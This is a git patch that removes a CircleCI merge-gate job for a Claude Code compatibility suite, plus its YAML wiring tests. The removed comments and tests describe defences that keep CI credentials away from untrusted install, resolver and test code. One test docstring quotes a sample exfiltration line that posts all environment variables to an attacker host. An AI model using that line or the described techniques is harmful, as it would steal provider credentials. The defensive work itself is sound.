From b0cda194213f1b294ee9d42f37f074ce1a91b7fb Mon Sep 17 00:00:00 2001 From: mateo Date: Thu, 9 Jul 2026 23:58:02 +0000 Subject: [PATCH] ci(claude_code): drop the CircleCI compat PR gate; the matrix runs in the scheduled e2e suite instead Co-Authored-By: Devin AI <158243242+devin-ai-integration[bot]@users.noreply.github.com> --- .circleci/config.yml | 267 -------------- .../test_circleci_pr_gate_wiring.py | 343 ------------------ 2 files changed, 610 deletions(-) delete mode 100644 tests/e2e/claude_code/_pr_gate_unit_tests/test_circleci_pr_gate_wiring.py diff --git a/.circleci/config.yml b/.circleci/config.yml index f646c8635b0..0dcc7284598 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -2586,269 +2586,6 @@ jobs: - store_test_results: path: test-results - claude_code_compat_pr_gate: - # Pre-merge gate for the Claude Code Compatibility Matrix. - # - # Boots the LiteLLM proxy from the PR's code, installs the `claude` - # CLI at a version selected at run time from npm (newest version - # whose publish timestamp is >= 3 days old; the 3-day window is a - # security review buffer), and runs every test under - # `tests/e2e/claude_code/`. A red status on this job blocks merge — - # see issue #26479 / PRD #26476 for the design. - machine: - image: ubuntu-2204:2024.04.1 - resource_class: large - working_directory: ~/project - steps: - - checkout - - setup_google_dns - - install_uv - - run: - name: Install Dependencies - command: | - # `uv sync` resolves and installs Python packages declared - # in the PR's `pyproject.toml` / `uv.lock`. A malicious PR - # could add a dependency whose build backend or - # post-install hook reads ANTHROPIC_API_KEY / AWS_* / - # VERTEXAI_* / AZURE_FOUNDRY_* / GITHUB_TOKEN out of - # `os.environ` during the install and exfiltrates them. - # Run the install under `env -i` with the same minimal - # allowlist as the resolver / npm install / pytest steps - # below so PR-controlled install code cannot see provider - # credentials. Public PyPI does not require auth and uv's - # cache lives under `$HOME`, so this allowlist is - # sufficient. - env -i \ - PATH="$PATH" \ - HOME="$HOME" \ - USER="${USER:-circleci}" \ - TERM="${TERM:-dumb}" \ - LANG="${LANG:-C.UTF-8}" \ - LC_ALL="${LC_ALL:-}" \ - TMPDIR="${TMPDIR:-/tmp}" \ - uv sync --frozen --all-groups --all-extras --python 3.12 - - start_postgres - - attach_workspace: - at: ~/project - - run: - name: Load Docker Database Image - command: | - zstd -d litellm-docker-database.tar.zst --stdout | docker load - docker images | grep litellm-docker-database - - run: - name: Resolve Claude Code CLI version (newest published >= 3 days ago) - command: | - # The resolver is PR-controlled Python code: a malicious PR - # could otherwise modify this module to read ANTHROPIC_API_KEY - # / AWS_* / VERTEXAI_* / AZURE_FOUNDRY_* / GITHUB_TOKEN out of - # the job env (CircleCI injects project + context env vars - # into every step) and exfiltrate them via the outbound npm - # HTTPS call. Run the resolver under `env -i` with a - # minimal allowlist so it sees only PATH/HOME/TMPDIR/locale - # vars — enough for uv, Python's TLS stack, and the npm - # registry HTTPS call to function, but no credentials. - # BASH_ENV is intentionally NOT passed through, so the - # resolver subshell skips sourcing any prior step's exports. - CLAUDE_CODE_VERSION=$(env -i \ - PATH="$PATH" \ - HOME="$HOME" \ - USER="${USER:-circleci}" \ - TERM="${TERM:-dumb}" \ - LANG="${LANG:-C.UTF-8}" \ - LC_ALL="${LC_ALL:-}" \ - TMPDIR="${TMPDIR:-/tmp}" \ - PYTHONPATH="$PWD/tests/e2e" \ - uv run --no-sync python -m claude_code.pr_gate_version_resolver) - # The resolver lives under tests/e2e/claude_code/ and is therefore - # PR-controlled: a malicious PR could make it print a value - # containing a newline + shell snippet. Reject anything that - # is not a strict `N.N.N` semver before persisting, and - # shell-quote on write so a bypass of the regex still cannot - # break out of the `export` assignment when CircleCI sources - # $BASH_ENV at the start of every subsequent step (which - # happens before our `env -i` wrappers can run and would - # otherwise execute the injected snippet with provider - # credentials in scope). - if ! [[ "$CLAUDE_CODE_VERSION" =~ ^[0-9]+\.[0-9]+\.[0-9]+$ ]]; then - echo "pr_gate_version_resolver returned a non-semver value; refusing to persist" >&2 - exit 1 - fi - echo "Selected @anthropic-ai/claude-code@${CLAUDE_CODE_VERSION}" - printf 'export CLAUDE_CODE_VERSION=%q\n' "$CLAUDE_CODE_VERSION" >> "$BASH_ENV" - - run: - name: Install Node.js 20 + Claude Code CLI - command: | - # The machine image ships with nvm preinstalled; use it to - # pin Node 20 (Claude Code's officially supported runtime). - export NVM_DIR="$HOME/.nvm" - # shellcheck source=/dev/null - [ -s "$NVM_DIR/nvm.sh" ] && . "$NVM_DIR/nvm.sh" - nvm install 20 - nvm use 20 - NODE_BIN_DIR="$(dirname "$(command -v node)")" - echo "export PATH=\"${NODE_BIN_DIR}:\$PATH\"" >> "$BASH_ENV" - # `npm install -g @anthropic-ai/claude-code` runs the - # package's `postinstall: node install.cjs` script, which - # downloads the platform-specific `claude` binary — it - # executes arbitrary code from npm with the full job env. - # `claude --version` on the next line also runs package - # code. Both must not see provider credentials: a - # compromised package release (or transitive registry - # hijack) could exfiltrate ANTHROPIC_API_KEY / AWS_* / - # VERTEXAI_* / AZURE_FOUNDRY_* / GITHUB_TOKEN. Run them - # under `env -i` with the same allowlist as the resolver - # step plus CLAUDE_CODE_VERSION (for package-spec - # interpolation) and the Node toolchain bits. We cannot - # use `--ignore-scripts`: the postinstall is the step that - # fetches the platform binary, so skipping it would leave - # the install unusable. - env -i \ - PATH="$PATH" \ - HOME="$HOME" \ - USER="${USER:-circleci}" \ - TERM="${TERM:-dumb}" \ - LANG="${LANG:-C.UTF-8}" \ - LC_ALL="${LC_ALL:-}" \ - TMPDIR="${TMPDIR:-/tmp}" \ - NVM_DIR="$NVM_DIR" \ - CLAUDE_CODE_VERSION="$CLAUDE_CODE_VERSION" \ - bash -c 'npm install -g "@anthropic-ai/claude-code@${CLAUDE_CODE_VERSION}" && claude --version' - - run: - name: Run LiteLLM proxy from PR's code - command: | - docker run -d \ - -p 4000:4000 \ - -e DATABASE_URL=postgresql://postgres:postgres@host.docker.internal:5432/circle_test \ - -e LITELLM_MASTER_KEY="sk-1234" \ - -e ANTHROPIC_API_KEY="$ANTHROPIC_API_KEY" \ - -e AWS_ACCESS_KEY_ID="$AWS_ACCESS_KEY_ID" \ - -e AWS_SECRET_ACCESS_KEY="$AWS_SECRET_ACCESS_KEY" \ - -e AWS_REGION_NAME="us-east-1" \ - -e VERTEXAI_CREDENTIALS="$VERTEXAI_CREDENTIALS" \ - -e VERTEXAI_PROJECT="$VERTEXAI_PROJECT" \ - -e VERTEXAI_LOCATION="$VERTEXAI_LOCATION" \ - -e AZURE_FOUNDRY_API_KEY="$AZURE_FOUNDRY_API_KEY" \ - -e AZURE_FOUNDRY_API_BASE="$AZURE_FOUNDRY_API_BASE" \ - -e LITELLM_LOCAL_ANTHROPIC_BETA_HEADERS="True" \ - --add-host host.docker.internal:host-gateway \ - --name compat-proxy \ - -v $(pwd)/tests/e2e/claude_code/test_config.yaml:/app/config.yaml \ - litellm-docker-database:ci \ - --config /app/config.yaml \ - --port 4000 \ - --detailed_debug - - run: - name: Stream proxy logs - command: docker logs -f compat-proxy - background: true - - wait_for_service: - url: http://localhost:4000 - timeout: "300" - - run: - name: Run Claude Code compatibility test suite - command: | - mkdir -p test-results compat-artifacts - # The proxy already runs in its own container with the - # provider credentials passed via `docker -e`. Pytest only - # needs to talk to the proxy at localhost:4000 — it has no - # legitimate reason to see ANTHROPIC_API_KEY / AWS_* / - # VERTEXAI_* / AZURE_FOUNDRY_* / GITHUB_TOKEN in its own - # env. Wrap the pytest invocation in `env -i` so PR- - # controlled test code under tests/e2e/claude_code/ cannot - # read provider creds out of `os.environ` and exfiltrate - # them via an outbound call from inside a test or - # conftest hook (a sibling vector to the model-controlled - # Bash concern handled separately by the per-cell - # `Bash(echo pong) + dontAsk` restriction). - # - # COMPAT_RESULTS_PATH / COMPAT_RATE_LIMIT_SUMMARY_PATH - # point the conftest's tagged-union artifacts at a - # directory we explicitly persist below via - # store_artifacts; without these overrides the conftest - # writes to the working directory and no CI step collects - # them, so reviewers can't pull the per-cell pass/fail - # breakdown when a red gate needs triage. - # - # `long_context_1m` is excluded from the pytest run: - # the row sends a ~210k-token prompt to Sonnet + Opus - # across five providers (~$19 / run by the row's own - # cost note). That price tag is acceptable on the daily - # cron but not on a per-PR merge gate -- a busy main - # branch would burn hundreds of dollars/day on this one - # row alone. The daily cron in - # tests/e2e/claude_code/cron_vm/run_daily.sh still exercises - # it and publishes the cell. - # - # `web_search` is excluded from the gate too: the - # assertion ("a `tool_use` block with name=WebSearch - # appeared") depends on the model deciding to call the - # tool. `--allowed-tools WebSearch` permits the call but - # cannot force it, and Haiku 4.5 in particular routinely - # answers from training data instead. Running it inside - # the merge-blocking gate would flake on non-deterministic - # model behaviour; the daily cron still exercises the row - # and publishes the cell to the matrix. - env -i \ - PATH="$PATH" \ - HOME="$HOME" \ - USER="${USER:-circleci}" \ - TERM="${TERM:-dumb}" \ - LANG="${LANG:-C.UTF-8}" \ - LC_ALL="${LC_ALL:-}" \ - TMPDIR="${TMPDIR:-/tmp}" \ - LITELLM_PROXY_BASE_URL="http://localhost:4000" \ - LITELLM_PROXY_API_KEY="sk-1234" \ - COMPAT_RESULTS_PATH="$(pwd)/compat-artifacts/compat-results.json" \ - COMPAT_RATE_LIMIT_SUMMARY_PATH="$(pwd)/compat-artifacts/compat-rate-limit-summary.json" \ - uv run --no-sync python -m pytest -vv tests/e2e/claude_code/ \ - --ignore=tests/e2e/claude_code/_driver_unit_tests \ - --ignore=tests/e2e/claude_code/_builder_unit_tests \ - --ignore=tests/e2e/claude_code/_publisher_unit_tests \ - --ignore=tests/e2e/claude_code/_pr_gate_unit_tests \ - --ignore=tests/e2e/claude_code/long_context_1m \ - --ignore=tests/e2e/claude_code/web_search \ - --junitxml=test-results/junit.xml \ - --durations=10 - no_output_timeout: 30m - - # Store test results (JUnit) for CircleCI's test-summary view. - - store_test_results: - path: test-results - # Persist the compat-matrix artifacts (per-cell tagged-union JSON - # + per-provider rate-limit summary) so a red gate can be triaged - # from the CircleCI UI without re-running. `store_test_results` - # only handles JUnit-shaped XML, so these JSON blobs need their - # own store_artifacts step. - - store_artifacts: - path: compat-artifacts - destination: compat-artifacts - - upload-coverage: - docker: - - *python312_image - steps: - - checkout - - skip_if_unrelated_changes - - attach_workspace: - at: . - # Check file locations - - run: - name: Check coverage file location - command: | - echo "Current directory:" - ls -la - echo "\nContents of tests/llm_translation:" - ls -la tests/llm_translation - - install_uv - - run: - name: Combine Coverage - command: | - uv tool run --from 'coverage[toml]==7.10.6' coverage combine realtime_translation_coverage ocr_coverage search_coverage logging_coverage audio_coverage local_testing_part1_coverage local_testing_part2_coverage pass_through_unit_tests_coverage batches_coverage guardrails_coverage redis_caching_coverage agent_coverage google_generate_content_endpoint_coverage litellm_utils_coverage router_unit_tests_coverage auth_ui_unit_tests_coverage - uv tool run --from 'coverage[toml]==7.10.6' coverage xml - - codecov/upload: - file: ./coverage.xml - flags: circleci - ui_build: docker: - image: cimg/node:20.19@sha256:35e64883e8d21bc345b0a7b04c35ee46442c127607ed1d8d7d37d8a1ed76db81 @@ -3328,10 +3065,6 @@ workflows: requires: - build_docker_database_image filters: *main_branches - - claude_code_compat_pr_gate: - requires: - - build_docker_database_image - filters: *main_branches - llm_translation_testing: filters: *main_branches - realtime_translation_testing: diff --git a/tests/e2e/claude_code/_pr_gate_unit_tests/test_circleci_pr_gate_wiring.py b/tests/e2e/claude_code/_pr_gate_unit_tests/test_circleci_pr_gate_wiring.py deleted file mode 100644 index 4df05489c78..00000000000 --- a/tests/e2e/claude_code/_pr_gate_unit_tests/test_circleci_pr_gate_wiring.py +++ /dev/null @@ -1,343 +0,0 @@ -"""Sanity tests for the CircleCI PR-gate wiring. - -Parses `.circleci/config.yml` and asserts the claude_code PR-gate job is -present, in the `build_and_test` workflow, and runs the whole -`tests/e2e/claude_code/` suite. This catches the obvious "someone deleted -the job" / "someone deleted the workflow entry" regressions that -otherwise only show up in CI history. - -The intent of these tests is *structural*, not *behavioral*: we don't -exercise the docker / npm / proxy machinery here, just verify the YAML -the CircleCI scheduler actually reads. -""" - -from __future__ import annotations - -from pathlib import Path - -import pytest -import yaml - -REPO_ROOT = Path(__file__).resolve().parents[4] -CONFIG_PATH = REPO_ROOT / ".circleci" / "config.yml" -JOB_NAME = "claude_code_compat_pr_gate" - - -@pytest.fixture(scope="module") -def circleci_config() -> dict: - return yaml.safe_load(CONFIG_PATH.read_text()) - - -def _job_step_runs(job: dict) -> list[str]: - """Return the concatenated `command` text of every `run:` step.""" - commands: list[str] = [] - for step in job.get("steps", []): - if isinstance(step, dict) and "run" in step: - run = step["run"] - if isinstance(run, dict): - cmd = run.get("command") - if isinstance(cmd, str): - commands.append(cmd) - return commands - - -def test_pr_gate_job_is_defined(circleci_config: dict) -> None: - assert JOB_NAME in circleci_config["jobs"], ( - f"{JOB_NAME} job is missing from .circleci/config.yml — the PR gate " - "is the merge-blocker; deleting it silently disables the gate." - ) - - -def test_pr_gate_job_is_in_build_and_test_workflow(circleci_config: dict) -> None: - workflow = circleci_config["workflows"]["build_and_test"]["jobs"] - job_names = [ - next(iter(entry.keys())) if isinstance(entry, dict) else entry - for entry in workflow - ] - assert JOB_NAME in job_names, ( - f"{JOB_NAME} is defined but not wired into workflows.build_and_test — " - "CircleCI will never run it without this entry." - ) - - -def test_pr_gate_job_requires_docker_database_image(circleci_config: dict) -> None: - """The proxy is booted from `litellm-docker-database:ci`, so the gate - must wait for that build to finish before it runs.""" - workflow = circleci_config["workflows"]["build_and_test"]["jobs"] - entry = next(e[JOB_NAME] for e in workflow if isinstance(e, dict) and JOB_NAME in e) - requires = entry.get("requires", []) - assert "build_docker_database_image" in requires - - -def test_pr_gate_job_invokes_version_resolver_and_pinned_install( - circleci_config: dict, -) -> None: - """Acceptance criterion: the CLI is installed at a version computed - at run time from the npm registry, and the version is logged.""" - job = circleci_config["jobs"][JOB_NAME] - commands = "\n".join(_job_step_runs(job)) - assert "claude_code.pr_gate_version_resolver" in commands, ( - "PR-gate job must invoke the version resolver; otherwise the " - "3-day publish-age security buffer is bypassed." - ) - # Pinned install of the resolved version (not 'latest', not unversioned) - assert "@anthropic-ai/claude-code@${CLAUDE_CODE_VERSION}" in commands - - -def test_pr_gate_job_runs_claude_code_test_dir(circleci_config: dict) -> None: - job = circleci_config["jobs"][JOB_NAME] - commands = "\n".join(_job_step_runs(job)) - assert "tests/e2e/claude_code/" in commands, ( - f"{JOB_NAME} must run the tests/e2e/claude_code/ suite; otherwise " - "the gate isn't actually exercising the compat tests." - ) - - -def test_pr_gate_job_mounts_test_config_yaml(circleci_config: dict) -> None: - """The tests reference proxy aliases (`claude-haiku-4-5` etc.) that - only the routing config knows about — the gate must mount it into - the proxy container.""" - job = circleci_config["jobs"][JOB_NAME] - commands = "\n".join(_job_step_runs(job)) - assert "tests/e2e/claude_code/test_config.yaml" in commands - - -def test_pr_gate_job_exports_proxy_env_used_by_tests( - circleci_config: dict, -) -> None: - """Tests read LITELLM_PROXY_BASE_URL / LITELLM_PROXY_API_KEY — the - job must export both before the pytest invocation.""" - job = circleci_config["jobs"][JOB_NAME] - commands = "\n".join(_job_step_runs(job)) - assert "LITELLM_PROXY_BASE_URL" in commands - assert "LITELLM_PROXY_API_KEY" in commands - - -def test_pr_gate_job_persists_compat_result_artifacts( - circleci_config: dict, -) -> None: - """The conftest writes per-cell tagged-union JSON + the per-provider - rate-limit summary to paths controlled by COMPAT_RESULTS_PATH / - COMPAT_RATE_LIMIT_SUMMARY_PATH. The PR gate must (1) point both env - vars at a known directory, and (2) `store_artifacts` that directory - so reviewers can pull the breakdown when a red gate needs triage. - - Without this, the conftest silently writes the artifacts to the - working directory and no CI step persists them. - """ - job = circleci_config["jobs"][JOB_NAME] - commands = "\n".join(_job_step_runs(job)) - assert "COMPAT_RESULTS_PATH" in commands, ( - "PR gate must override COMPAT_RESULTS_PATH so the compat JSON " - "lands in a directory we explicitly persist below." - ) - assert "COMPAT_RATE_LIMIT_SUMMARY_PATH" in commands, ( - "PR gate must override COMPAT_RATE_LIMIT_SUMMARY_PATH so the " - "per-provider rate-limit summary lands in a persisted directory." - ) - # The chosen directory must be wired into a store_artifacts step. - store_artifacts_paths: list[str] = [] - for step in job.get("steps", []): - if not isinstance(step, dict): - continue - sa = step.get("store_artifacts") - if isinstance(sa, dict) and isinstance(sa.get("path"), str): - store_artifacts_paths.append(sa["path"]) - assert store_artifacts_paths, ( - "PR gate must declare at least one store_artifacts step so the " - "compat-results.json / compat-rate-limit-summary.json can be " - "downloaded from the CircleCI artifact browser." - ) - # And the export must point at that directory (any of them), so the - # conftest actually writes inside the persisted tree. - assert any(path in commands for path in store_artifacts_paths), ( - "PR gate exports COMPAT_RESULTS_PATH but not into any directory " - f"declared by store_artifacts (declared: {store_artifacts_paths})." - ) - - -def _find_step_command(job: dict, name_substring: str) -> str: - """Return the `command` text of the first run-step whose `name` - contains `name_substring`; empty string if no match. - - The PR-gate job has many run-steps; matching by a substring of - `name:` keeps this helper resilient to non-load-bearing renames - (e.g. "Resolve Claude Code CLI version (newest published >= 3 days - ago)" -> "Resolve Claude Code CLI version") without coupling the - test to the full step name. - """ - for step in job.get("steps", []): - if not (isinstance(step, dict) and "run" in step): - continue - run = step["run"] - if not isinstance(run, dict): - continue - if name_substring in (run.get("name") or ""): - return run.get("command") or "" - return "" - - -def test_pr_gate_resolver_step_scrubs_secrets_from_env( - circleci_config: dict, -) -> None: - """The version resolver is PR-controlled Python code that runs in - the same CircleCI job as the provider secrets injected later into - the proxy container. If the resolver step doesn't scrub the env, - a malicious PR can edit `tests/e2e/claude_code/pr_gate_version_resolver` - to read ANTHROPIC_API_KEY / AWS_* / VERTEXAI_* / AZURE_FOUNDRY_* / - GITHUB_TOKEN out of `os.environ` and exfiltrate them over the - outbound npm registry HTTPS call. - - Pin the `env -i` scrub here so the mitigation cannot silently - regress in a future YAML refactor. - """ - job = circleci_config["jobs"][JOB_NAME] - command = _find_step_command(job, "Resolve Claude Code CLI version") - assert command, "PR gate must have a step that resolves the CLI version." - assert "env -i" in command, ( - "The version-resolver step must wrap the resolver invocation in " - "`env -i` so PR-controlled Python cannot read provider secrets " - "from the CircleCI job env." - ) - # The actual resolver invocation must be downstream of `env -i` — - # i.e. they must appear in that order in the command body. Use - # `rindex` for the resolver match in case the surrounding comment - # block also mentions the module in prose; the actual `python -m` - # invocation is always the last occurrence. - env_i_idx = command.index("env -i") - resolver_idx = command.rindex("claude_code.pr_gate_version_resolver") - assert env_i_idx < resolver_idx, ( - "`env -i` must precede the resolver invocation; otherwise the " - "resolver still sees the unscrubbed env." - ) - - -def test_pr_gate_npm_install_step_scrubs_secrets_from_env( - circleci_config: dict, -) -> None: - """`npm install -g @anthropic-ai/claude-code` runs the package's - `postinstall: node install.cjs` script, which executes arbitrary - code from npm with the full job env — and the job env carries - provider credentials. `claude --version` on the next line is also - package code. A compromised package release (or a transitive - registry hijack) could exfiltrate ANTHROPIC_API_KEY / AWS_* / - VERTEXAI_* / AZURE_FOUNDRY_* / GITHUB_TOKEN. - - Pin the `env -i` scrub on the install step so the mitigation - cannot silently regress. - """ - job = circleci_config["jobs"][JOB_NAME] - command = _find_step_command(job, "Install Node.js") - assert command, "PR gate must have a step that installs Node + the CLI." - assert "env -i" in command, ( - "The `npm install -g @anthropic-ai/claude-code` step must wrap " - "the install + `claude --version` invocations in `env -i` so " - "package install/postinstall code cannot read provider secrets " - "from the CircleCI job env." - ) - # Both load-bearing invocations must be downstream of `env -i`. We - # use `rindex` because the surrounding comment block also mentions - # `claude --version` and `npm install` in prose; what we care about - # is the *actual* shell invocation, which is always the last - # occurrence of each string in the step body. - env_i_idx = command.index("env -i") - npm_install_idx = command.rindex( - 'npm install -g "@anthropic-ai/claude-code@${CLAUDE_CODE_VERSION}"' - ) - claude_version_idx = command.rindex("claude --version") - assert env_i_idx < npm_install_idx, ( - "`env -i` must precede `npm install -g`; otherwise the install/" - "postinstall scripts still see the unscrubbed env." - ) - assert env_i_idx < claude_version_idx, ( - "`env -i` must precede `claude --version`; otherwise the CLI " - "still sees the unscrubbed env on its first invocation." - ) - - -def test_pr_gate_pytest_step_scrubs_secrets_from_env( - circleci_config: dict, -) -> None: - """The compat suite under `tests/e2e/claude_code/` is PR-controlled code: - a malicious PR could add `requests.post(attacker, data=os.environ)` - to any test or conftest hook and exfiltrate provider creds that - CircleCI injects into every step's env (those creds are what the - proxy container needs via `docker -e`; pytest itself only talks to - the proxy at localhost:4000). - - Pin the `env -i` scrub on the pytest step so the mitigation cannot - silently regress in a future YAML refactor. - """ - job = circleci_config["jobs"][JOB_NAME] - command = _find_step_command(job, "Run Claude Code compatibility test suite") - assert command, "PR gate must have a step that runs the compat suite." - assert "env -i" in command, ( - "The compat-suite pytest step must wrap the pytest invocation in " - "`env -i` so PR-controlled test code cannot read provider secrets " - "from the CircleCI job env." - ) - # The pytest invocation must be downstream of `env -i`. Use `rindex` - # because the surrounding comment block also mentions pytest in prose. - env_i_idx = command.index("env -i") - pytest_idx = command.rindex("uv run --no-sync python -m pytest") - assert env_i_idx < pytest_idx, ( - "`env -i` must precede the pytest invocation; otherwise the " - "test process still sees the unscrubbed env." - ) - - -def test_pr_gate_resolver_output_safely_persisted_to_bash_env( - circleci_config: dict, -) -> None: - """The resolver step writes the resolved version to `$BASH_ENV` so - later steps can interpolate it. `$BASH_ENV` is sourced by bash at - the start of every subsequent step *before* any `env -i` wrapper - we install can run, so the job env (with provider credentials in - scope) is live at that moment. The resolver lives under - `tests/e2e/claude_code/` and is therefore PR-controlled — a malicious - PR could make it print a value containing a newline + shell - snippet to exfiltrate credentials. - - Pin the two defenses so they cannot silently regress: - - 1. The persisted value must be shell-quoted via `printf '%q'` - (not unquoted via `echo`) so any bytes the resolver emits are - safely re-parsed as a literal `export` assignment. - 2. The resolver output must be matched against a strict semver - regex and rejected otherwise, so anything that isn't a - `N.N.N` string never reaches `$BASH_ENV` in the first place. - """ - job = circleci_config["jobs"][JOB_NAME] - command = _find_step_command(job, "Resolve Claude Code CLI version") - assert command, "PR gate must have a step that resolves the CLI version." - assert "printf 'export CLAUDE_CODE_VERSION=%q\\n'" in command, ( - "Resolver step must persist CLAUDE_CODE_VERSION via `printf '%q'` " - "(shell-quoted) — a raw `echo \"export ...=$VAR\"` lets PR-controlled " - "resolver output inject shell commands into $BASH_ENV that run with " - "provider credentials in scope at the start of the next step." - ) - assert "[[ \"$CLAUDE_CODE_VERSION\" =~ ^[0-9]+\\.[0-9]+\\.[0-9]+$ ]]" in command, ( - "Resolver step must validate CLAUDE_CODE_VERSION against a strict " - "whole-string semver regex (`[[ ... =~ ^N.N.N$ ]]`) before " - "persisting; a per-line grep would pass a multi-line resolver " - "output, and anything that isn't a `N.N.N` string should never " - "reach $BASH_ENV / `npm install`." - ) - - -def test_existing_proxy_e2e_anthropic_job_unchanged(circleci_config: dict) -> None: - """No regression to the existing `proxy_e2e_anthropic_messages_tests` - job (acceptance criterion). We don't lock its full body, but we do - pin the load-bearing surface: it still runs the same test directory - and is still wired into the workflow.""" - assert "proxy_e2e_anthropic_messages_tests" in circleci_config["jobs"] - workflow = circleci_config["workflows"]["build_and_test"]["jobs"] - job_names = [ - next(iter(entry.keys())) if isinstance(entry, dict) else entry - for entry in workflow - ] - assert "proxy_e2e_anthropic_messages_tests" in job_names - body = "\n".join( - _job_step_runs(circleci_config["jobs"]["proxy_e2e_anthropic_messages_tests"]) - ) - assert "tests/proxy_e2e_anthropic_messages_tests/" in body